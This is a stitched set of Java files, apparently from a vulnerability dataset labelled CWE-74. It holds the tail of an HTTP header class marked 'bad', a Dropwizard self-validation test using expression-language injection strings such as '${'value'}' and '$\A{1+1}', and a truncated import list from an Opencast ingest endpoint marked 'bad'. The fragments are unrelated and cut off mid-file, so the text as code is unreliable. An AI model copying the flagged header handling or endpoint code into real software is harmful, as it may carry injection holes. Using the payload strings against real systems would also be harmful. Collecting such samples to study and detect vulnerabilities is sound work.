public final String get(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
String value = null;
// loop until the first header was found
while (e != null) {
if (e.hash == h && keyEquals(e.key, name)) {
value = e.value;
}
e = e.next;
}
return value;
}
@Override
public final String get(CharSequence name, String defaultValue) {
requireNonNull(defaultValue, "defaultValue");
final String value = get(name);
return value != null ? value : defaultValue;
}
@Override
public final List<String> getAll(CharSequence name) {
requireNonNull(name, "name");
return getAllReversed(name).reverse();
}
private ImmutableList<String> getAllReversed(CharSequence name) {
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
if (e == null) {
return ImmutableList.of();
}
final ImmutableList.Builder<String> builder = ImmutableList.builder();
do {
if (e.hash == h && keyEquals(e.key, name)) {
builder.add(e.getValue());
}
e = e.next;
} while (e != null);
return builder.build();
}
@Nullable
@Override
public final Integer getInt(CharSequence name) {
final String v = get(name);
return toInteger(v);
}
@Override
public final int getInt(CharSequence name, int defaultValue) {
final Integer v = getInt(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Long getLong(CharSequence name) {
final String v = get(name);
return toLong(v);
}
@Override
public final long getLong(CharSequence name, long defaultValue) {
final Long v = getLong(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Float getFloat(CharSequence name) {
final String v = get(name);
return toFloat(v);
}
@Override
public final float getFloat(CharSequence name, float defaultValue) {
final Float v = getFloat(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Double getDouble(CharSequence name) {
final String v = get(name);
return toDouble(v);
}
@Override
public final double getDouble(CharSequence name, double defaultValue) {
final Double v = getDouble(name);
return v != null ? v : defaultValue;
}
@Nullable
@Override
public final Long getTimeMillis(CharSequence name) {
final String v = get(name);
return toTimeMillis(v);
}
@Override
public final long getTimeMillis(CharSequence name, long defaultValue) {
final Long v = getTimeMillis(name);
return v != null ? v : defaultValue;
}
@Override
public final boolean contains(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
// loop until the first header was found
while (e != null) {
if (e.hash == h && keyEquals(e.key, name)) {
return true;
}
e = e.next;
}
return false;
}
@Override
public final boolean contains(CharSequence name, String value) {
requireNonNull(name, "name");
requireNonNull(value, "value");
final int h = AsciiString.hashCode(name);
final int i = index(h);
HeaderEntry e = entries[i];
while (e != null) {
if (e.hash == h && keyEquals(e.key, name) &&
AsciiString.contentEquals(e.value, value)) {
return true;
}
e = e.next;
}
return false;
}
@Override
public final boolean containsObject(CharSequence name, Object value) {
requireNonNull(value, "value");
return contains(name, fromObject(value));
}
@Override
public final boolean containsInt(CharSequence name, int value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsLong(CharSequence name, long value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsFloat(CharSequence name, float value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsDouble(CharSequence name, double value) {
return contains(name, String.valueOf(value));
}
@Override
public final boolean containsTimeMillis(CharSequence name, long value) {
return contains(name, fromTimeMillis(value));
}
@Override
public final int size() {
return size;
}
@Override
public final boolean isEmpty() {
return size() == 0;
}
@Override
public final Set<AsciiString> names() {
if (isEmpty()) {
return ImmutableSet.of();
}
final ImmutableSet.Builder<AsciiString> builder = ImmutableSet.builder();
HeaderEntry e = head.after;
while (e != head) {
builder.add(e.getKey());
e = e.after;
}
return builder.build();
}
@Override
public final Iterator<Entry<AsciiString, String>> iterator() {
return new HeaderIterator();
}
@Override
public final Iterator<String> valueIterator(CharSequence name) {
return getAll(name).iterator();
}
@Override
public final void forEach(BiConsumer<AsciiString, String> action) {
requireNonNull(action, "action");
for (Entry<AsciiString, String> e : this) {
action.accept(e.getKey(), e.getValue());
}
}
@Override
public final void forEachValue(CharSequence name, Consumer<String> action) {
requireNonNull(name, "name");
requireNonNull(action, "action");
for (final Iterator<String> i = valueIterator(name); i.hasNext();) {
action.accept(i.next());
}
}
// Mutators
final void endOfStream(boolean endOfStream) {
this.endOfStream = endOfStream;
}
@Nullable
final String getAndRemove(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
return remove0(h, index(h), name);
}
final String getAndRemove(CharSequence name, String defaultValue) {
requireNonNull(defaultValue, "defaultValue");
final String value = getAndRemove(name);
return value != null ? value : defaultValue;
}
final List<String> getAllAndRemove(CharSequence name) {
final List<String> all = getAll(name);
if (!all.isEmpty()) {
remove(name);
}
return all;
}
@Nullable
final Integer getIntAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toInteger(v);
}
final int getIntAndRemove(CharSequence name, int defaultValue) {
final Integer v = getIntAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Long getLongAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toLong(v);
}
final long getLongAndRemove(CharSequence name, long defaultValue) {
final Long v = getLongAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Float getFloatAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toFloat(v);
}
final float getFloatAndRemove(CharSequence name, float defaultValue) {
final Float v = getFloatAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Double getDoubleAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toDouble(v);
}
final double getDoubleAndRemove(CharSequence name, double defaultValue) {
final Double v = getDoubleAndRemove(name);
return v != null ? v : defaultValue;
}
@Nullable
final Long getTimeMillisAndRemove(CharSequence name) {
final String v = getAndRemove(name);
return toTimeMillis(v);
}
final long getTimeMillisAndRemove(CharSequence name, long defaultValue) {
final Long v = getTimeMillisAndRemove(name);
return v != null ? v : defaultValue;
}
final void add(CharSequence name, String value) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(value, "value");
final int h = normalizedName.hashCode();
final int i = index(h);
add0(h, i, normalizedName, value);
}
final void add(CharSequence name, Iterable<String> values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void add(CharSequence name, String... values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void add(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
if (headers == this) {
throw new IllegalArgumentException("can't add to itself.");
}
if (!addFast(headers)) {
addSlow(headers);
}
}
final void addObject(CharSequence name, Object value) {
requireNonNull(value, "value");
add(name, fromObject(value));
}
final void addObject(CharSequence name, Iterable<?> values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
for (Object v : values) {
requireNonNullElement(values, v);
addObject(normalizedName, v);
}
}
final void addObject(CharSequence name, Object... values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
for (Object v : values) {
requireNonNullElement(values, v);
addObject(normalizedName, v);
}
}
void addObject(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
if (headers == this) {
throw new IllegalArgumentException("can't add to itself.");
}
if (!addFast(headers)) {
addObjectSlow(headers);
}
}
final void addInt(CharSequence name, int value) {
add(name, String.valueOf(value));
}
final void addLong(CharSequence name, long value) {
add(name, String.valueOf(value));
}
final void addFloat(CharSequence name, float value) {
add(name, String.valueOf(value));
}
final void addDouble(CharSequence name, double value) {
add(name, String.valueOf(value));
}
final void addTimeMillis(CharSequence name, long value) {
add(name, fromTimeMillis(value));
}
final void set(CharSequence name, String value) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(value, "value");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
add0(h, i, normalizedName, value);
}
final void set(CharSequence name, Iterable<String> values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void set(CharSequence name, String... values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (String v : values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, v);
}
}
final void set(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
requireNonNull(headers, "headers");
if (headers == this) {
return;
}
for (Entry<? extends CharSequence, String> e : headers) {
remove(e.getKey());
}
if (!addFast(headers)) {
addSlow(headers);
}
}
public HttpHeadersBase setIfAbsent(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
requireNonNull(headers, "headers");
final Set<AsciiString> existingNames = names();
if (!setIfAbsentFast(headers, existingNames)) {
setIfAbsentSlow(headers, existingNames);
}
return this;
}
private boolean setIfAbsentFast(Iterable<? extends Entry<? extends CharSequence, String>> headers,
Set<AsciiString> existingNames) {
if (!(headers instanceof HttpHeadersBase)) {
return false;
}
final HttpHeadersBase headersBase = (HttpHeadersBase) headers;
HeaderEntry e = headersBase.head.after;
while (e != headersBase.head) {
final AsciiString key = e.key;
final String value = e.value;
assert key != null;
assert value != null;
if (!existingNames.contains(key)) {
add0(e.hash, index(e.hash), key, value);
}
e = e.after;
}
return true;
}
private void setIfAbsentSlow(Iterable<? extends Entry<? extends CharSequence, String>> headers,
Set<AsciiString> existingNames) {
for (Entry<? extends CharSequence, String> header : headers) {
final AsciiString key = AsciiString.of(header.getKey());
if (!existingNames.contains(key)) {
add(key, header.getValue());
}
}
}
final void setObject(CharSequence name, Object value) {
requireNonNull(value, "value");
set(name, fromObject(value));
}
final void setObject(CharSequence name, Iterable<?> values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (Object v: values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, fromObject(v));
}
}
final void setObject(CharSequence name, Object... values) {
final AsciiString normalizedName = normalizeName(name);
requireNonNull(values, "values");
final int h = normalizedName.hashCode();
final int i = index(h);
remove0(h, i, normalizedName);
for (Object v: values) {
requireNonNullElement(values, v);
add0(h, i, normalizedName, fromObject(v));
}
}
final void setObject(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
requireNonNull(headers, "headers");
if (headers == this) {
return;
}
for (Entry<? extends CharSequence, ?> e : headers) {
remove(e.getKey());
}
if (!addFast(headers)) {
addObjectSlow(headers);
}
}
final void setInt(CharSequence name, int value) {
set(name, String.valueOf(value));
}
final void setLong(CharSequence name, long value) {
set(name, String.valueOf(value));
}
final void setFloat(CharSequence name, float value) {
set(name, String.valueOf(value));
}
final void setDouble(CharSequence name, double value) {
set(name, String.valueOf(value));
}
final void setTimeMillis(CharSequence name, long value) {
set(name, fromTimeMillis(value));
}
final boolean remove(CharSequence name) {
requireNonNull(name, "name");
final int h = AsciiString.hashCode(name);
return remove0(h, index(h), name) != null;
}
final void clear() {
Arrays.fill(entries, null);
firstNonPseudo = head.before = head.after = head;
size = 0;
}
private static AsciiString normalizeName(CharSequence name) {
checkArgument(requireNonNull(name, "name").length() > 0, "name is empty.");
return HttpHeaderNames.of(name);
}
private static void requireNonNullElement(Object values, @Nullable Object e) {
if (e == null) {
throw new NullPointerException("values contains null: " + values);
}
}
private int index(int hash) {
return hash & hashMask;
}
private void add0(int h, int i, AsciiString name, String value) {
// Update the hash table.
entries[i] = new HeaderEntry(h, name, value, entries[i]);
++size;
}
private boolean addFast(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
if (!(headers instanceof HttpHeadersBase)) {
return false;
}
final HttpHeadersBase headersBase = (HttpHeadersBase) headers;
HeaderEntry e = headersBase.head.after;
while (e != headersBase.head) {
final AsciiString key = e.key;
final String value = e.value;
assert key != null;
assert value != null;
add0(e.hash, index(e.hash), key, value);
e = e.after;
}
return true;
}
private void addSlow(Iterable<? extends Entry<? extends CharSequence, String>> headers) {
// Slow copy
for (Entry<? extends CharSequence, String> header : headers) {
add(header.getKey(), header.getValue());
}
}
private void addObjectSlow(Iterable<? extends Entry<? extends CharSequence, ?>> headers) {
// Slow copy
for (Entry<? extends CharSequence, ?> header : headers) {
addObject(header.getKey(), header.getValue());
}
}
/**
* Removes all the entries whose hash code equals {@code h} and whose name is equal to {@code name}.
*
* @return the first value inserted, or {@code null} if there is no such header.
*/
@Nullable
private String remove0(int h, int i, CharSequence name) {
HeaderEntry e = entries[i];
if (e == null) {
return null;
}
String value = null;
HeaderEntry next = e.next;
while (next != null) {
if (next.hash == h && keyEquals(next.key, name)) {
value = next.value;
e.next = next.next;
next.remove();
--size;
} else {
e = next;
}
next = e.next;
}
e = entries[i];
if (e.hash == h && keyEquals(e.key, name)) {
if (value == null) {
value = e.value;
}
entries[i] = e.next;
e.remove();
--size;
}
return value;
}
private static boolean keyEquals(@Nullable AsciiString a, CharSequence b) {
return a != null && (a == b || a.contentEqualsIgnoreCase(b));
}
// Conversion functions
@Nullable
private static Integer toInteger(@Nullable String v) {
try {
return v != null ? Integer.parseInt(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Long toLong(@Nullable String v) {
try {
return v != null ? Long.parseLong(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Float toFloat(@Nullable String v) {
try {
return v != null ? Float.parseFloat(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Double toDouble(@Nullable String v) {
try {
return v != null ? Double.parseDouble(v) : null;
} catch (NumberFormatException ignore) {
return null;
}
}
@Nullable
private static Long toTimeMillis(@Nullable String v) {
if (v == null) {
return null;
}
try {
@SuppressWarnings("UseOfObsoleteDateTimeApi")
final Date date = DateFormatter.parseHttpDate(v);
return date != null ? date.getTime() : null;
} catch (Exception ignore) {
// `parseHttpDate()` can raise an exception rather than returning `null`
// when the given value has more than 64 characters.
return null;
}
}
private static String fromTimeMillis(long value) {
return StringValueConverter.INSTANCE.convertTimeMillis(value);
}
private static String fromObject(Object value) {
final String strVal = StringValueConverter.INSTANCE.convertObject(value);
assert strVal != null : value + " converted to null.";
return strVal;
}
// hashCode(), equals() and toString()
@Override
public final int hashCode() {
int result = HASH_CODE_SEED;
for (AsciiString name : names()) {
result = (result * 31 + name.hashCode()) * 31 + getAll(name).hashCode();
}
return result;
}
@Override
public boolean equals(@Nullable Object o) {
if (this == o) {
return true;
}
if (!(o instanceof HttpHeaderGetters)) {
return false;
}
final HttpHeaderGetters that = (HttpHeaderGetters) o;
if (isEndOfStream() != that.isEndOfStream() ||
size() != that.size()) {
return false;
}
if (that instanceof HttpHeadersBase) {
return equalsFast((HttpHeadersBase) that);
} else {
return equalsSlow(that);
}
}
private boolean equalsFast(HttpHeadersBase that) {
HeaderEntry e = head.after;
while (e != head) {
final AsciiString name = e.getKey();
if (!getAllReversed(name).equals(that.getAllReversed(name))) {
return false;
}
e = e.after;
}
return true;
}
private boolean equalsSlow(HttpHeaderGetters that) {
HeaderEntry e = head.after;
while (e != head) {
final AsciiString name = e.getKey();
if (!Iterators.elementsEqual(valueIterator(name), that.valueIterator(name))) {
return false;
}
e = e.after;
}
return true;
}
@Override
public String toString() {
if (size == 0) {
return endOfStream ? "[EOS]" : "[]";
}
final StringBuilder sb = new StringBuilder(7 + size * 20);
if (endOfStream) {
sb.append("[EOS, ");
} else {
sb.append('[');
}
HeaderEntry e = head.after;
while (e != head) {
sb.append(e.key).append('=').append(e.value).append(", ");
e = e.after;
}
final int length = sb.length();
sb.setCharAt(length - 2, ']');
return sb.substring(0, length - 1);
}
// Iterator implementations
private final class HeaderIterator implements Iterator<Map.Entry<AsciiString, String>> {
private HeaderEntry current = head;
@Override
public boolean hasNext() {
return current.after != head;
}
@Override
public Entry<AsciiString, String> next() {
current = current.after;
if (current == head) {
throw new NoSuchElementException();
}
return current;
}
@Override
public void remove() {
throw new UnsupportedOperationException("read-only");
}
}
private final class HeaderEntry implements Map.Entry<AsciiString, String> {
final int hash;
@Nullable
final AsciiString key;
@Nullable
final String value;
/**
* In bucket linked list.
*/
@Nullable
HeaderEntry next;
/**
* Overall insertion order linked list.
*/
HeaderEntry before;
HeaderEntry after;
/**
* Creates a new head node.
*/
HeaderEntry() {
hash = -1;
key = null;
value = null;
before = after = this;
}
HeaderEntry(int hash, AsciiString key, String value, HeaderEntry next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
// Make sure the pseudo headers fields are first in iteration order
if (hasPseudoHeaderFormat(key)) {
after = firstNonPseudo;
before = firstNonPseudo.before;
} else {
after = head;
before = head.before;
if (firstNonPseudo == head) {
firstNonPseudo = this;
}
}
pointNeighborsToThis();
}
void pointNeighborsToThis() {
before.after = this;
after.before = this;
}
void remove() {
if (this == firstNonPseudo) {
firstNonPseudo = firstNonPseudo.after;
}
before.after = after;
after.before = before;
}
@Override
public AsciiString getKey() {
assert key != null;
return key;
}
@Override
public String getValue() {
assert value != null;
return value;
}
@Override
public String setValue(String value) {
throw new UnsupportedOperationException("read-only");
}
@Override
public int hashCode() {
return (key == null ? 0 : key.hashCode()) ^ AsciiString.hashCode(value);
}
@Override
public boolean equals(@Nullable Object o) {
if (this == o) {
return true;
}
if (!(o instanceof Map.Entry)) {
return false;
}
final Map.Entry<?, ?> that = (Map.Entry<?, ?>) o;
final Object thatKey = that.getKey();
return thatKey instanceof AsciiString &&
keyEquals(key, (CharSequence) thatKey) &&
Objects.equals(value, that.getValue());
}
@Override
public String toString() {
if (key == null) {
return "<HEAD>";
}
assert value != null;
return new StringBuilder(key.length() + value.length() + 1)
.append(key)
.append('=')
.append(value)
.toString();
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1112_1
|
crossvul-java_data_good_3891_4
|
package io.dropwizard.validation;
import io.dropwizard.util.Maps;
import io.dropwizard.validation.selfvalidating.SelfValidating;
import io.dropwizard.validation.selfvalidating.SelfValidation;
import io.dropwizard.validation.selfvalidating.ViolationCollector;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import uk.org.lidalia.slf4jext.Level;
import uk.org.lidalia.slf4jtest.LoggingEvent;
import uk.org.lidalia.slf4jtest.TestLoggerFactory;
import javax.annotation.concurrent.NotThreadSafe;
import javax.validation.Validator;
import java.util.Collections;
import static org.assertj.core.api.Assertions.assertThat;
@NotThreadSafe
public class SelfValidationTest {
private static final String FAILED = "failed";
private static final String FAILED_RESULT = " " + FAILED;
@AfterEach
@BeforeEach
public void clearAllLoggers() {
//this must be a clear all because the validation runs in other threads
TestLoggerFactory.clearAll();
}
@SelfValidating
public static class FailingExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.addViolation(FAILED);
}
}
public static class SubclassExample extends FailingExample {
@SuppressWarnings("unused")
@SelfValidation
public void subValidateFail(ViolationCollector col) {
col.addViolation(FAILED + "subclass");
}
}
@SelfValidating
public static class AnnotatedSubclassExample extends FailingExample {
@SuppressWarnings("unused")
@SelfValidation
public void subValidateFail(ViolationCollector col) {
col.addViolation(FAILED + "subclass");
}
}
public static class OverridingExample extends FailingExample {
@Override
public void validateFail(ViolationCollector col) {
}
}
@SelfValidating
public static class DirectContextExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.getContext().buildConstraintViolationWithTemplate(FAILED).addConstraintViolation();
col.setViolationOccurred(true);
}
}
@SelfValidating
public static class CorrectExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateCorrect(ViolationCollector col) {
}
}
@SelfValidating
public static class InvalidExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateCorrect(ViolationCollector col) {
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFailAdditionalParameters(ViolationCollector col, int a) {
col.addViolation(FAILED);
}
@SelfValidation
public boolean validateFailReturn(ViolationCollector col) {
col.addViolation(FAILED);
return true;
}
@SelfValidation
private void validateFailPrivate(ViolationCollector col) {
col.addViolation(FAILED);
}
}
@SelfValidating
public static class ComplexExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail1(ViolationCollector col) {
col.addViolation(FAILED + "1");
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFail2(ViolationCollector col) {
col.addViolation("p2", FAILED);
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFail3(ViolationCollector col) {
col.addViolation("p", 3, FAILED);
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFail4(ViolationCollector col) {
col.addViolation("p", "four", FAILED);
}
@SuppressWarnings("unused")
@SelfValidation
public void validateCorrect(ViolationCollector col) {
}
}
@SelfValidating
public static class NoValidations {
}
@SelfValidating
public static class InjectionExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.addViolation("${'value'}");
col.addViolation("$\\A{1+1}");
col.addViolation("{value}", Collections.singletonMap("value", "TEST"));
col.addViolation("${'property'}", "${'value'}");
col.addViolation("${'property'}", 1, "${'value'}");
col.addViolation("${'property'}", "${'key'}", "${'value'}");
}
}
@SelfValidating(escapeExpressions = false)
public static class EscapingDisabledExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.addViolation("${'value'}");
col.addViolation("$\\A{1+1}");
col.addViolation("{value}", Collections.singletonMap("value", "TEST"));
col.addViolation("${'property'}", "${'value'}");
col.addViolation("${'property'}", 1, "${'value'}");
col.addViolation("${'property'}", "${'key'}", "${'value'}");
}
}
@SelfValidating(escapeExpressions = false)
public static class MessageParametersExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.addViolation("{1+1}");
col.addViolation("{value}", Collections.singletonMap("value", "VALUE"));
col.addViolation("No parameter", Collections.singletonMap("value", "VALUE"));
col.addViolation("{value} {unsetParameter}", Collections.singletonMap("value", "VALUE"));
col.addViolation("{value", Collections.singletonMap("value", "VALUE"));
col.addViolation("value}", Collections.singletonMap("value", "VALUE"));
col.addViolation("{ value }", Collections.singletonMap("value", "VALUE"));
col.addViolation("Mixed ${'value'} {value}", Collections.singletonMap("value", "VALUE"));
col.addViolation("Nested {value}", Collections.singletonMap("value", "${'nested'}"));
col.addViolation("{property}", "{value}", Maps.of("property", "PROPERTY", "value", "VALUE"));
col.addViolation("{property}", 1, "{value}", Maps.of("property", "PROPERTY", "value", "VALUE"));
col.addViolation("{property}", "{key}", "{value}", Maps.of("property", "PROPERTY", "key", "KEY", "value", "VALUE"));
}
}
private final Validator validator = BaseValidator.newValidator();
@Test
public void failingExample() {
assertThat(ConstraintViolations.format(validator.validate(new FailingExample())))
.containsExactlyInAnyOrder(FAILED_RESULT);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void subClassExample() {
assertThat(ConstraintViolations.format(validator.validate(new SubclassExample())))
.containsExactlyInAnyOrder(
FAILED_RESULT,
FAILED_RESULT + "subclass"
);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void annotatedSubClassExample() {
assertThat(ConstraintViolations.format(validator.validate(new AnnotatedSubclassExample())))
.containsExactlyInAnyOrder(
FAILED_RESULT,
FAILED_RESULT + "subclass"
);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void overridingSubClassExample() {
assertThat(ConstraintViolations.format(validator.validate(new OverridingExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void correctExample() {
assertThat(ConstraintViolations.format(validator.validate(new CorrectExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void multipleTestingOfSameClass() {
assertThat(ConstraintViolations.format(validator.validate(new CorrectExample())))
.isEmpty();
assertThat(ConstraintViolations.format(validator.validate(new CorrectExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void testDirectContextUsage() {
assertThat(ConstraintViolations.format(validator.validate(new DirectContextExample())))
.containsExactlyInAnyOrder(FAILED_RESULT);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void complexExample() {
assertThat(ConstraintViolations.format(validator.validate(new ComplexExample())))
.containsExactly(
" failed1",
"p2 failed",
"p[3] failed",
"p[four] failed");
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void invalidExample() throws Exception {
assertThat(ConstraintViolations.format(validator.validate(new InvalidExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.containsExactlyInAnyOrder(
new LoggingEvent(
Level.ERROR,
"The method {} is annotated with @SelfValidation but does not have a single parameter of type {}",
InvalidExample.class.getMethod("validateFailAdditionalParameters", ViolationCollector.class, int.class),
ViolationCollector.class
),
new LoggingEvent(
Level.ERROR,
"The method {} is annotated with @SelfValidation but does not return void. It is ignored",
InvalidExample.class.getMethod("validateFailReturn", ViolationCollector.class)
),
new LoggingEvent(
Level.ERROR,
"The method {} is annotated with @SelfValidation but is not public",
InvalidExample.class.getDeclaredMethod("validateFailPrivate", ViolationCollector.class)
)
);
}
@Test
public void giveWarningIfNoValidationMethods() {
assertThat(ConstraintViolations.format(validator.validate(new NoValidations())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.containsExactlyInAnyOrder(
new LoggingEvent(
Level.WARN,
"The class {} is annotated with @SelfValidating but contains no valid methods that are annotated with @SelfValidation",
NoValidations.class
)
);
}
@Test
public void violationMessagesAreEscapedByDefault() {
assertThat(ConstraintViolations.format(validator.validate(new InjectionExample()))).containsExactly(
" $\\A{1+1}",
" ${'value'}",
" {value}",
"${'property'} ${'value'}",
"${'property'}[${'key'}] ${'value'}",
"${'property'}[1] ${'value'}"
);
assertThat(TestLoggerFactory.getAllLoggingEvents()).isEmpty();
}
@Test
public void violationMessagesAreInterpolatedIfEscapingDisabled() {
assertThat(ConstraintViolations.format(validator.validate(new EscapingDisabledExample()))).containsExactly(
" A2",
" TEST",
" value",
"${'property'} value",
"${'property'}[${'key'}] value",
"${'property'}[1] value"
);
assertThat(TestLoggerFactory.getAllLoggingEvents()).isEmpty();
}
@Test
public void messageParametersExample() {
assertThat(ConstraintViolations.format(validator.validate(new MessageParametersExample()))).containsExactly(
" Mixed value VALUE",
" Nested ${'nested'}",
" No parameter",
" VALUE",
" VALUE {unsetParameter}",
" value}",
" { value }",
" {1+1}",
" {value",
"{property} VALUE",
"{property}[1] VALUE",
"{property}[{key}] VALUE"
);
assertThat(TestLoggerFactory.getAllLoggingEvents()).isEmpty();
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_4
|
crossvul-java_data_bad_4533_2
|
/**
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
*
* The Apereo Foundation licenses this file to you under the Educational
* Community License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License
* at:
*
* http://opensource.org/licenses/ecl2.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*
*/
package org.opencastproject.ingest.endpoint;
import static org.apache.commons.lang3.StringUtils.trimToNull;
import org.opencastproject.capture.CaptureParameters;
import org.opencastproject.ingest.api.IngestException;
import org.opencastproject.ingest.api.IngestService;
import org.opencastproject.ingest.impl.IngestServiceImpl;
import org.opencastproject.job.api.JobProducer;
import org.opencastproject.mediapackage.EName;
import org.opencastproject.mediapackage.MediaPackage;
import org.opencastproject.mediapackage.MediaPackageBuilderFactory;
import org.opencastproject.mediapackage.MediaPackageElement;
import org.opencastproject.mediapackage.MediaPackageElementFlavor;
import org.opencastproject.mediapackage.MediaPackageElements;
import org.opencastproject.mediapackage.MediaPackageException;
import org.opencastproject.mediapackage.MediaPackageParser;
import org.opencastproject.mediapackage.MediaPackageSupport;
import org.opencastproject.mediapackage.identifier.IdImpl;
import org.opencastproject.metadata.dublincore.DublinCore;
import org.opencastproject.metadata.dublincore.DublinCoreCatalog;
import org.opencastproject.metadata.dublincore.DublinCoreCatalogService;
import org.opencastproject.metadata.dublincore.DublinCores;
import org.opencastproject.rest.AbstractJobProducerEndpoint;
import org.opencastproject.scheduler.api.SchedulerConflictException;
import org.opencastproject.scheduler.api.SchedulerException;
import org.opencastproject.security.api.TrustedHttpClient;
import org.opencastproject.security.api.UnauthorizedException;
import org.opencastproject.serviceregistry.api.ServiceRegistry;
import org.opencastproject.util.NotFoundException;
import org.opencastproject.util.data.Function0.X;
import org.opencastproject.util.doc.rest.RestParameter;
import org.opencastproject.util.doc.rest.RestQuery;
import org.opencastproject.util.doc.rest.RestResponse;
import org.opencastproject.util.doc.rest.RestService;
import org.opencastproject.workflow.api.WorkflowInstance;
import org.opencastproject.workflow.api.WorkflowParser;
import com.google.common.cache.Cache;
import com.google.common.cache.CacheBuilder;
import org.apache.commons.fileupload.FileItemIterator;
import org.apache.commons.fileupload.FileItemStream;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.commons.fileupload.util.Streams;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.exception.ExceptionUtils;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.osgi.service.component.ComponentContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
